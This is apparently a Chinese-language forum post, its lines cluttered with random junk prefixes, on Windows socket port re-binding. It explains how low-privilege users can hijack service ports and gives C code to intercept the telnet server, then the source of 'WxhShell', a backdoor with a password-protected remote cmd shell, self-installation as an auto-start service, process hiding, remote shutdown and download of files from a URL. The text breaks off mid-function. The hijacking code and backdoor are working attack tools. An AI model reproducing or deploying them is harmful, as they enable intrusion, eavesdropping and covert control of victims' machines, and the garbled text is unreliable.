在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
eQD)$d_5 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
J~1r{5V4{ (v}>tb*#` saddr.sin_family = AF_INET;
yLdVd
P KB'qRnkc saddr.sin_addr.s_addr = htonl(INADDR_ANY);
P3nb2. \e'R@ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
}`v~I4i L_+k12lm 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
RQ'H$r.7g D[mSmpjE6& 这意味着什么?意味着可以进行如下的攻击:
we;G]`@? o(r\E0I 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
x-AZ%)N9 \CXQo4P 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
L.2/*H#
bBS,-vN 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
I*IhwJFl/ {
Q`QX`# 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
'eJ+JM<0% _-9@qe 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
u\LFlX0sO MwR0@S}* 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
bV8!"{ z(fAnn
T? 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
P~G 1EK|4 -x'z
XvWZ #include
|/2y-[;: #include
;IVDr: #include
B|4X}*@SX #include
FFH_d <q DWORD WINAPI ClientThread(LPVOID lpParam);
Qum9A int main()
+H9 >A0JF {
BvR-K\rx WORD wVersionRequested;
-|Y(V5] DWORD ret;
*r=:y{!Y d WSADATA wsaData;
#DN0T' B BOOL val;
~<k,#^"}X SOCKADDR_IN saddr;
@*qz(h]\ SOCKADDR_IN scaddr;
qnoNT%xazo int err;
=Uj-^qcE SOCKET s;
"v` SOCKET sc;
Z7_ zMM int caddsize;
)E,\H@A HANDLE mt;
y-j\zK DWORD tid;
1xbK'i:-S wVersionRequested = MAKEWORD( 2, 2 );
w7FW^6Zl err = WSAStartup( wVersionRequested, &wsaData );
5Pd"h S if ( err != 0 ) {
.9"Y_/0 printf("error!WSAStartup failed!\n");
V\{tmDE return -1;
h-m\% |D }
)*Q-.Je/U saddr.sin_family = AF_INET;
KM!k$;my Fb4`| //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
UY <e&Npo FI<q@HF saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
x,otFp saddr.sin_port = htons(23);
~,BIf+\XF if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
:sP!p`dl {
3Ezy %7 printf("error!socket failed!\n");
jWY$5Vq<H return -1;
?APeR,"V }
13+<Q \ val = TRUE;
`"@g8PWe //SO_REUSEADDR选项就是可以实现端口重绑定的
i-'9AYyw if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
^RP)>d9Xp{ {
N @#c,, printf("error!setsockopt failed!\n");
EM/@T} return -1;
Cz W:L&t }
T<L^N+<,{N //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Pf_S[
sm //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
E-{^E. w1 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Cxcr/9 l%`F&8K if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
XO9M_*Va {
S_T1y ret=GetLastError();
]a!xUg!S printf("error!bind failed!\n");
5 gv/Pq & return -1;
!
/NG.Wf }
J%jB?2
1:o listen(s,2);
c=
x,ijY
" while(1)
:T._ba3| {
v\,N 5 caddsize = sizeof(scaddr);
,i0b)=!o //接受连接请求
~\cO"(y5:O sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
2PeR if(sc!=INVALID_SOCKET)
E^rbcGJ {
=Me5ftw mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
sj8~?O if(mt==NULL)
Ht-t1q {
w~;I7: printf("Thread Creat Failed!\n");
eh ,~F break;
i:cXwQG}B }
Pf$pt }
r 3M1e+'fc CloseHandle(mt);
sz9G3artK& }
<97d[/7i closesocket(s);
:KKa4=5L WSACleanup();
3 AHY| return 0;
+R\vgE68 }
sT/c_^y DWORD WINAPI ClientThread(LPVOID lpParam)
u1~9{"P* {
%\kOLE2` SOCKET ss = (SOCKET)lpParam;
q\q=PB6r SOCKET sc;
ErT{(t7 unsigned char buf[4096];
7-~Q5Kr. SOCKADDR_IN saddr;
.iQT5c long num;
`- \/$M9s= DWORD val;
Hi
yc#-4 DWORD ret;
+*n-<x5" //如果是隐藏端口应用的话,可以在此处加一些判断
;=9
>MS} //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
}HG#s4 saddr.sin_family = AF_INET;
"ywh9cp saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
iz~
pGkt saddr.sin_port = htons(23);
Yyfq if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
g!`3{
/4 {
AWjm~D-? printf("error!socket failed!\n");
Rm5Kkzd0o return -1;
bO;(bE m@ }
yg2uC(2 val = 100;
"GQl~ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
3-%Cw2ds {
P1U*g! ret = GetLastError();
Pe_!?:vF return -1;
/{{UP- }
i,nm`Z>u if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
bC^(U`y 32 {
'i8U ret = GetLastError();
T?p`) return -1;
yE\wj }
pCu!l#J if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
IF +i3#$ {
6ATtW+sN ] printf("error!socket connect failed!\n");
Ox#Q2W@Uy closesocket(sc);
KT.?Xp:z closesocket(ss);
]=EM@ return -1;
7JDN{!jT }
$LHa?3 while(1)
;oNhEB:F {
gUR]{dq^' //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
LrCk*@ //如果是嗅探内容的话,可以再此处进行内容分析和记录
'&FjW-`"
G //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
7Mx6 num = recv(ss,buf,4096,0);
+"ueq if(num>0)
vNW jH!' send(sc,buf,num,0);
`Ci4YDaz;k else if(num==0)
CN2_bz break;
T'#!~GpB num = recv(sc,buf,4096,0);
Vi]c%*k if(num>0)
W><dYy=z5 send(ss,buf,num,0);
+-a&2J;J' else if(num==0)
$>R(W=Q break;
@cq`:_.[ }
hKlZi!4J closesocket(ss);
Y
e+Ay closesocket(sc);
(9 gOtJ return 0 ;
oA
tsUF+a }
b}G24{ _0pO8o-x dp5f7>]:( ==========================================================
1P]de'-`j r,N[ )@ 下边附上一个代码,,WXhSHELL
.9|uQEL %gcc
y| ==========================================================
[WB{T3j 33~qgK1> #include "stdafx.h"
"Jy~PcJZ1 n(lk
dw #include <stdio.h>
lM#A3/=K #include <string.h>
O}#yijU3e #include <windows.h>
&s)0z)mR8& #include <winsock2.h>
]Y.deVw3i #include <winsvc.h>
fA! 6sB #include <urlmon.h>
q6wr=OWD G_ Ay #pragma comment (lib, "Ws2_32.lib")
m=b~i^@ #pragma comment (lib, "urlmon.lib")
o0pT6N) WA)Ij(M8 p #define MAX_USER 100 // 最大客户端连接数
z{BA4sn #define BUF_SOCK 200 // sock buffer
m_!U}! #define KEY_BUFF 255 // 输入 buffer
-qe bQv l
SkEuN #define REBOOT 0 // 重启
3^.8.q(6 #define SHUTDOWN 1 // 关机
\NX Q *C,N'M<u #define DEF_PORT 5000 // 监听端口
/.=r>a}l 2 [!Mx&^ #define REG_LEN 16 // 注册表键长度
P` '$ #define SVC_LEN 80 // NT服务名长度
kDB iBNdB m]IysyFFK // 从dll定义API
\,sg)^w@ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
_a+ICqR typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
ex?\c" typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
"L3Xd][ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
TRKgBK$, %HSl)zEo>C // wxhshell配置信息
u{bL-a8} struct WSCFG {
L"rcv:QWZa int ws_port; // 监听端口
[}3cDR char ws_passstr[REG_LEN]; // 口令
agd)ag4"[u int ws_autoins; // 安装标记, 1=yes 0=no
F*
#h9
Y char ws_regname[REG_LEN]; // 注册表键名
PM4>ThQ char ws_svcname[REG_LEN]; // 服务名
^p_u.P char ws_svcdisp[SVC_LEN]; // 服务显示名
HPa|uDVv char ws_svcdesc[SVC_LEN]; // 服务描述信息
9DEh*%q char ws_passmsg[SVC_LEN]; // 密码输入提示信息
jxy1 int ws_downexe; // 下载执行标记, 1=yes 0=no
3ViM ?p char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
5#_tE<uM char ws_filenam[SVC_LEN]; // 下载后保存的文件名
k|O,1 b
Dg9P^<n };
G^Xd- 7 GQ P Tnac // default Wxhshell configuration
+zRh
fIJHH struct WSCFG wscfg={DEF_PORT,
x.EgTvA&d "xuhuanlingzhe",
B#tdLv"I 1,
4^Ow^7N? "Wxhshell",
2z983^ "Wxhshell",
(L|}` "WxhShell Service",
ma9ADFFT "Wrsky Windows CmdShell Service",
Q[s2}Z!N; "Please Input Your Password: ",
+$(0w35V5 1,
h39e)%x1 "
http://www.wrsky.com/wxhshell.exe",
i<u9:W "Wxhshell.exe"
C(,=[Fi- };
jX|=n.#q Q#WE|,a // 消息定义模块
Sl.o,W^ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Ko}2%4on char *msg_ws_prompt="\n\r? for help\n\r#>";
:pd&dg!5 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Bp0bY9xLg_ char *msg_ws_ext="\n\rExit.";
<lOaor
c char *msg_ws_end="\n\rQuit.";
(^H5EeGV{ char *msg_ws_boot="\n\rReboot...";
m1e b8yX char *msg_ws_poff="\n\rShutdown...";
9bn2UiJk char *msg_ws_down="\n\rSave to ";
{Bvm'lq` 9Q@*0- char *msg_ws_err="\n\rErr!";
S?,_<GD)w char *msg_ws_ok="\n\rOK!";
"2mFC! feCqbWq: char ExeFile[MAX_PATH];
@\~tHJ?hQd int nUser = 0;
vbKQ* HANDLE handles[MAX_USER];
,QS'$n int OsIsNt;
,U%=rfB~ y~p4">] SERVICE_STATUS serviceStatus;
Dq`~XS* SERVICE_STATUS_HANDLE hServiceStatusHandle;
l#6&WWmr -SJSTO[/J // 函数声明
l^,qO3ES int Install(void);
{NeWdC
int Uninstall(void);
l.7d$8'\ int DownloadFile(char *sURL, SOCKET wsh);
IIaxgfhZ int Boot(int flag);
XOxB
(0@ void HideProc(void);
zKJ.Tj W int GetOsVer(void);
_[1^s$ int Wxhshell(SOCKET wsl);
kV1vb void TalkWithClient(void *cs);
A7(M,4`6 int CmdShell(SOCKET sock);
QUPf*3Oy int StartFromService(void);
hb! ln7 int StartWxhshell(LPSTR lpCmdLine);
C*O
,rm} bp Ml =_ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
n{{P3f VOID WINAPI NTServiceHandler( DWORD fdwControl );
}Z-I2
=] taCCw2s-8* // 数据结构和表定义
m %Y(O SERVICE_TABLE_ENTRY DispatchTable[] =
F;a3 {
l7Y8b` {wscfg.ws_svcname, NTServiceMain},
i>"dBJh]b {NULL, NULL}
v?%3~XoH };
.M+v?Ad &Y=.D:z< // 自我安装
3`rIV*&_{ int Install(void)
A|C_np^z2 {
M*H<
n* char svExeFile[MAX_PATH];
E&9!1!B HKEY key;
leIy|K>\m strcpy(svExeFile,ExeFile);
a hwy_\ XSl!T/d // 如果是win9x系统,修改注册表设为自启动
\kk!Dz*H if(!OsIsNt) {
q\U4n[Zk if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
}Eb]9c\ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
^vn\4 RegCloseKey(key);
`x4E;Wjv if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
|1i]L @& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
|>@-grs RegCloseKey(key);
mo*'"/ return 0;
`+^sW#ki }
4
iKR{P6 }
@% H8"A }
5&G
5eA else {
.d
e IW] *i?L // 如果是NT以上系统,安装为系统服务
YJc%h@ _=] SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
'&)D>@g if (schSCManager!=0)
QnP{$rT {
I)rGOda{ SC_HANDLE schService = CreateService
3XGB+$]C (
blmmm(|~| schSCManager,
9H[/T j-; wscfg.ws_svcname,
)"F5lOA6 wscfg.ws_svcdisp,
:4iU^6 SERVICE_ALL_ACCESS,
Hy;901( % SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
-HN%B?}. x SERVICE_AUTO_START,
'5V^}/ SERVICE_ERROR_NORMAL,
w`0)x5
TGR svExeFile,
]DU61Z"v?b NULL,
v}f&q! NULL,
W8x[3,gT NULL,
fZ{&dslg NULL,
ret0z| NULL
Ny B&uf );
Gj5>Y!9 if (schService!=0)
=tNzGaWJ {
=Iy/cHK CloseServiceHandle(schService);
Kc-Y CloseServiceHandle(schSCManager);
^~,
ndH{ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
s><IykIi strcat(svExeFile,wscfg.ws_svcname);
PK_Fx';ke^ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
;C+cE# RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
4uX,uEa RegCloseKey(key);
"NJ,0A return 0;
t18UDR{ }
^g-Fg>&M }
kAY@^vi CloseServiceHandle(schSCManager);
0n\^$WY }
_IC,9bbg }
u>81dO]H c1PViko,> return 1;
kpl~/i`4 }
#>@<n3rq m**0rpA // 自我卸载
P$6W`^DZ int Uninstall(void)
2ve
lH; {
)\D2\1e(c HKEY key;
lfXH7jL2~ c]e`m6 if(!OsIsNt) {
:m]/u( /N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
`i=JjgG@ RegDeleteValue(key,wscfg.ws_regname);
lj4%(rB= RegCloseKey(key);
Q@7l"8#[t if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
5r^1CFO RegDeleteValue(key,wscfg.ws_regname);
YW'{|9KnI RegCloseKey(key);
MRjH40"2 return 0;
||yXp2 }
-l\~p4U }
uE"5 cq'B/ }
dFdlB`L else {
$*YC7f u)tHOV>& SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
N[0
xqQ if (schSCManager!=0)
a3Z:C!|O' {
mYiSR SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
UaH26fWs if (schService!=0)
lTxY6vi {
@c6"RHG9 if(DeleteService(schService)!=0) {
\s.1R/TyD CloseServiceHandle(schService);
rny@n^F CloseServiceHandle(schSCManager);
q1U&vZ3]c return 0;
m$7x#8gF
}
+fC#2%VnU CloseServiceHandle(schService);
/_$~rW }
8.*\+nH CloseServiceHandle(schSCManager);
"|(rVj= }
aUKh})B }
9BqQ^`bu 7bA4P* return 1;
<Gn8B^~$ }
_Wm(/ +G_| ls [Ls // 从指定url下载文件
N8,EI^W8Z int DownloadFile(char *sURL, SOCKET wsh)
's$A+8;L {
[u/zrpTk HRESULT hr;
;%BhhmR)[ char seps[]= "/";
_L?v6MTj char *token;
>r;ABz/ char *file;
8FxcI!A@ char myURL[MAX_PATH];
]cx" char myFILE[MAX_PATH];
L{cK^ , Zx}NFcn strcpy(myURL,sURL);
'dmp4VT3 token=strtok(myURL,seps);
)9;(>cdl while(token!=NULL)
)$ ofl%+ {
bHhC56[M file=token;
S1D9AcK token=strtok(NULL,seps);
ExNj|* }
P]!LN\[ j~+[uzW98 GetCurrentDirectory(MAX_PATH,myFILE);
a"`g"ZRx strcat(myFILE, "\\");
Iq4 Kgc strcat(myFILE, file);
u~'m7 send(wsh,myFILE,strlen(myFILE),0);
^/_\etV send(wsh,"...",3,0);
MILIu;[{#r hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
c*y$bf< if(hr==S_OK)
anHBySI3 return 0;
l(h;e&9x else
J>HLQP return 1;
(t]lP/
.\z|Fr }
[47K7~9p Bxn8>< // 系统电源模块
y)?W-5zL int Boot(int flag)
}XfS#Xr1aV {
,omp F$% HANDLE hToken;
&[?u1qQ%o TOKEN_PRIVILEGES tkp;
<Dt/Rad $\YLmG if(OsIsNt) {
q|47;bK' OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
H j5WJ{p. LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
;kyL>mV{ tkp.PrivilegeCount = 1;
\3n{w
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
37:b D AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
]MqH13`)A if(flag==REBOOT) {
7]M,yIwc if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
&xGfkCP.] return 0;
T3u5al }
`}k&HRn else {
#a7Amh\nT if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
}#\;np return 0;
PBxK>a }
Q.pEUDq/ }
b*'=W"%\ else {
!LHzY( if(flag==REBOOT) {
zCBtD_@ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
y~]IVl" return 0;
C>w9
{h }
1K?
&
J2 else {
!^>LOH>j if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
LH3N}J({ return 0;
}%o+1 <= }
c:?#zX }
%vf2||a$BS 1^x2WlUm4 return 1;
E&iWtwkz }
=M/UHOY Z!]U&Ax`Z // win9x进程隐藏模块
dbMu6Bm\G void HideProc(void)
BDRYip[Sa {
}Ke}rM< V 9QvQA
r HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
dVsAX( if ( hKernel != NULL )
4,w{rmj {
0TuOY%+ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
68'-1} ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
lry&)G=5 FreeLibrary(hKernel);
rx}ujjx }
&m%Pr :{wsd$Qlj return;
aiR|.opIb }
BuEQ^[Ex |z(Ws // 获取操作系统版本
Cdt,//xrz int GetOsVer(void)
#5ohmp,u {
YL9t3] OSVERSIONINFO winfo;
!dbA ( winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
`G ;Lz^ GetVersionEx(&winfo);
\[IdR^<YM if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
ohc/.5Kl return 1;
CYFas:rPLT else
g<hv7?"[ return 0;
'.h/Y/oz }
PFDWC3< M|Dwk3# // 客户端句柄模块
S,`Sq8H int Wxhshell(SOCKET wsl)
SRG!G]?- {
WkDn SOCKET wsh;
6t7;}t]t struct sockaddr_in client;
pZ_FVID DWORD myID;
#a'x)$2;R| f<> YYeY while(nUser<MAX_USER)
*v:,rh {
E9Xk8w'+ int nSize=sizeof(client);
3U9+l0mBa wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
[BZ(p if(wsh==INVALID_SOCKET) return 1;
ZTBFV/{ Cj4b]*Q, handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
IjB*myN. if(handles[nUser]==0)
Pu%>j'A closesocket(wsh);
<E}]t,'3 else
p\]LEP\z, nUser++;
2GD mZl }
}_kI> WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
3 ?|; on eVCkPv* return 0;
WlQ&Yau }
X_s G6Q@ _@~kYz // 关闭 socket
/"%IhX- void CloseIt(SOCKET wsh)
J|2Hqd {
ik:)-GV;s closesocket(wsh);
|v%RjN nUser--;
m/F(h-? ExitThread(0);
!K^kKP*l }
8apKp?~yW N13;hB< // 客户端请求句柄
d$pf[DJQo void TalkWithClient(void *cs)
=3v
1]7X {
l6DIsR *6x^w%=A SOCKET wsh=(SOCKET)cs;
b5 C}K char pwd[SVC_LEN];
iJKm27 "> char cmd[KEY_BUFF];
X @jYQ. char chr[1];
l[\,*C int i,j;
M Xt + ie)1 h while (nUser < MAX_USER) {
X3=Jp'p$h ZR q}g: if(wscfg.ws_passstr) {
L+ETMk0 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
H"RF[bX( //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
0)Xue9AS //ZeroMemory(pwd,KEY_BUFF);
^s2-jkK i=0;
A&lgiR*ObT while(i<SVC_LEN) {
' /<b[ =|V]8 tN // 设置超时
D*r Zaqy fd_set FdRead;
HYYx*CJ) struct timeval TimeOut;
|`;1p@w" FD_ZERO(&FdRead);
8qYGlew, FD_SET(wsh,&FdRead);
rMg{j
gD TimeOut.tv_sec=8;
. N} }cJq TimeOut.tv_usec=0;
Cv(N5mA2 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
YM.IRj2/1 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
[W\atmd" <9.7 gwzE if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Eno2<< pwd
=chr[0]; @C [|'[xQ
if(chr[0]==0xd || chr[0]==0xa) { #\S$$gP
pwd=0; v4a4*rBI"
break; ^5 =E`q".
} j{-7Pf8A
i++; S9#N%{8P
} Y+`-~ 88
IoHkcP[H
// 如果是非法用户,关闭 socket 0uJzff!|
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Qg$Nj=Cw
} QV7c9)<]'}
~Q9)Q
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); z2q5f:d8
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eh/OCzWH
NITx;iC
while(1) { 9Kx:^~}20o
x[~OVG0M*
ZeroMemory(cmd,KEY_BUFF); $D\l%y/C
s /q5o@b{
// 自动支持客户端 telnet标准 U5$DJ5>8
j=0; Y@S6m@.$
while(j<KEY_BUFF) { v]SE?xF{U
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "t&k{\$\
cmd[j]=chr[0]; yB{o_1tc
if(chr[0]==0xa || chr[0]==0xd) { O36r
,/X
cmd[j]=0; #TwE??ms
break; LA %al @
} ^&/&I9z
j++; NWN )b&}
} JJ=is}S|
d;:&3r|X
// 下载文件 u0hbM9U>
if(strstr(cmd,"http://")) { Kf^F#dA
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Zw\V}uXI?
if(DownloadFile(cmd,wsh)) KrG6z#)Uz
send(wsh,msg_ws_err,strlen(msg_ws_err),0); b<78K5'
else HMd )64(
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :!!`!*!JH
} 3CPOZZ
else { @W- f{V
8'Bl=C|0X
switch(cmd[0]) { oySM?ZE
;rAW3
// 帮助 x i,wL0{
case '?': { ,O{ 5
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); dk`!UtNNRa
break; j|dzd<kE6
} IqKXFORiNI
// 安装 pv SFp-:_
case 'i': { !Y(qpC:$
if(Install()) ;]x5;b9`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6YGr"Kj &
else gF5EtdN?|
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V46[whL%r
break; &7u
Ra1/R
} #h|< >
// 卸载 yOz Kux8kB
case 'r': { Ao0PFY
if(Uninstall()) E9-'!I !
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $KHDS:&
else U%\2drM&]
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,#OG/r-H
break; =:8=5tj
} <yO9j
// 显示 wxhshell 所在路径 *sVxjZvV
case 'p': { { F8,^+b|
char svExeFile[MAX_PATH]; "*\3.`Kd
strcpy(svExeFile,"\n\r"); XQ;dew+
strcat(svExeFile,ExeFile); P;p g+L.I
send(wsh,svExeFile,strlen(svExeFile),0); 7N=VVD~!b
break; Nj8)HR
} GFkte
// 重启 c&(,
case 'b': { oe"ShhT
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4\es@2 q
if(Boot(REBOOT)) vUeel%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); xTm&`Xo
else { u5M{s;{11r
closesocket(wsh); ofCP>Z-
ExitThread(0); N6%q%7F.:
} 4jro4B`
break; EA#!h'-s
} L-gF$it\*b
// 关机 E|3aiC,5
case 'd': { kcUt!PL
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); H/{3
i
if(Boot(SHUTDOWN)) h9n CSj
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >[=`{B
else { *.l=>#qF
closesocket(wsh); ka%pS
ExitThread(0); ox#4|<qM
} z#
B) b5
break; 1bs95Fh9Q
} iO`f{?b
// 获取shell bYH_U4b
case 's': { -v@^6bQVp
CmdShell(wsh); q)zvePO#
closesocket(wsh); %*=FLtBjo
ExitThread(0); G[,VPC=
break; epm|pA*
} 8, ^UQ5x
// 退出 42LV>X#i
case 'x': { D40VJ3TUc
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1+iiiVbMH
CloseIt(wsh); 0X w?}
break; W#\4"'=I
} 3I(H.u
// 离开 sOmYQ{R
case 'q': { xw
Qkk
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~'iuh>O)
closesocket(wsh); HjD= .Q
WSACleanup(); $y}Tbm
exit(1); ljmHX2p
break; (qdk
&
} VZR6oia
} :+$_(*Z
} >=Veu; A
0IuU4h5Fr
// 提示信息 ly+7klQ;.
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B4=gMVp1
} enM 3
} ,0xN#&?Ohh
u Rg^:
return; nr;/:[F
} me" <+6
{S!~pn&^Y
// shell模块句柄 T^t`Hp
int CmdShell(SOCKET sock) NunT2JP.
{ uc8>B&B%
STARTUPINFO si; HtlXbzN%)
ZeroMemory(&si,sizeof(si)); (aLnbJeJ
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3:S "!F
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; up6LO7drW/
PROCESS_INFORMATION ProcessInfo; 9AaixI
char cmdline[]="cmd"; **"sru;@=
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V6N#%(?3
return 0; (?(ahtT4T
} UQy+&;#5
.w&Z=YM
// 自身启动模式 ?##GY;#
int StartFromService(void) oT w1w
{ O"GzeEY7
typedef struct ZN^Q!v
{ EBm\rM8
DWORD ExitStatus; xgVt0=q
DWORD PebBaseAddress; i7_BnJJX{B
DWORD AffinityMask; IU/*YI%W
DWORD BasePriority;
NDi@x"];
